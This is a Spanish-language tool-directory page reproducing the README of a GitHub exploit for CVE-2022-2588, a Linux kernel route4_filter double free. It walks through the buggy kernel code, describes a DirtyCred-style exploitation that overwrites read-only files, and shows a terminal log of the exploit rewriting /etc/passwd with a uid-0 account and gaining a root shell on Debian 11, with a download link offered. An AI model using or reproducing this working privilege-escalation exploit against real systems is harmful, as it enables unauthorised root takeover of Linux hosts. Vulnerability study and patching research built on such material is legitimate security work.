Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-2588 — Código de exploit para CVE-2022-2588 | Kitploit
Herramientas/GitHubGitHub/igr1s-red/cve-2022-2588
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de Binarios
GitHubigr1s-red/cve-2022-2588

CVE-2022-2588

Código de exploit para CVE-2022-2588

Ver Repositorio
19hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-2588

La corrección

El error está corregido en Linux v5.19 mediante este commit.

El error

El error se introdujo en Linux v3.17 mediante este commit en 2014. Requiere User Namespaces para activarse. Este error es muy similar a CVE-2021-3715, causado por una operación incorrecta en la lista enlazada de route4_filter. Más detalles de CVE-2021-3715 pueden encontrarse en la charla de BlackHat (página 16). A continuación se presentan algunos detalles breves de CVE-2022-2588.

Lo siguiente muestra algunos fragmentos de código importantes de la función route4_change para entender CVE-2022-2588.

static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }

    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);

    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

La función está implementada para inicializar/reemplazar el objeto route4_filter. El filtro usa handle como un identificador único para distinguir entre cada filtro. Si existe un manejador que ya ha sido inicializado antes (es decir, la variable fold no es nula), se actualizará el filtro eliminando el antiguo y agregando uno nuevo; de lo contrario, solo se agregará uno nuevo.

En [0], el kernel asigna el objeto route4_filter. En [1], si fold no está vacío (lo que significa que existe un filtro con el mismo manejador), copia cierta información al nuevo filtro y lo inicializa en [2], luego inserta el nuevo filtro en la lista en [3]. Si existe el filtro antiguo, se elimina de la lista en [4] y se libera en [6].

El error ocurre en [4], que verifica si existe un filtro antiguo que deba eliminarse. La condición asegura que el manejador no sea cero y que coincida con el manejador del nuevo filtro. Esta condición no se alinea con la condición de liberación del filtro en [6], que solo verifica si el filtro antiguo existe. Por lo tanto, si un usuario crea un filtro cuyo manejador es 0 y luego desencadena su reemplazo, el filtro no se desvinculará en [4] pero se liberará en [6] debido a que sus condiciones no son las mismas.

La explotación

Dado que este error es similar a CVE-2021-3715, sus primitivas son casi las mismas. Los lectores pueden consultar la charla de BlackHat para una descripción más detallada de las primitivas. Este informe muestra la explotación siguiendo la idea de DirtyCred.

Dado que el fold liberado aún está en la lista enlazada después de desencadenar el error, podemos liberar fold una vez más, lo que eventualmente causará un doble libre del objeto route4_filter y del objeto route4_filter->exts.action si CONFIG_NET_CLS_ACT está habilitado.

Los códigos de explotación utilizan estas dos capacidades de doble libre para demostrar el ataque sobre las credenciales de tareas (utilizando kmalloc-192 double free, próximamente) y sobre las credenciales de archivo abierto (utilizando kmalloc-256 double free).

Atacando la credencial de archivo

Siguiendo la idea de DirtyCred, el código de explotación intercambia la credencial del archivo después de las verificaciones de permisos, para poder escribir cualquier contenido en archivos con permiso de lectura. Idealmente, el código funciona en todas las versiones del kernel afectadas por el error. Cabe señalar que, para garantizar que el código funcione en kernels antiguos donde msg_msg está aislado en kmalloc-rcl-*, el exploit usa un objeto de spray diferente.

[ghost@localhost ~]$ ./exploit
self path /home/ghost/./exploit
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[ghost@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[ghost@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

El exploit fue escrito para funcionar en la mayor cantidad posible de distribuciones. Se confirmó que funciona en:

  • Debian 11 (5.10.0-8-amd64 ~ xxx)

¿Quieres probar el exploit en la máquina virtual?

Por favor inicia sesión con el usuario low y contraseña low

Descargar herramienta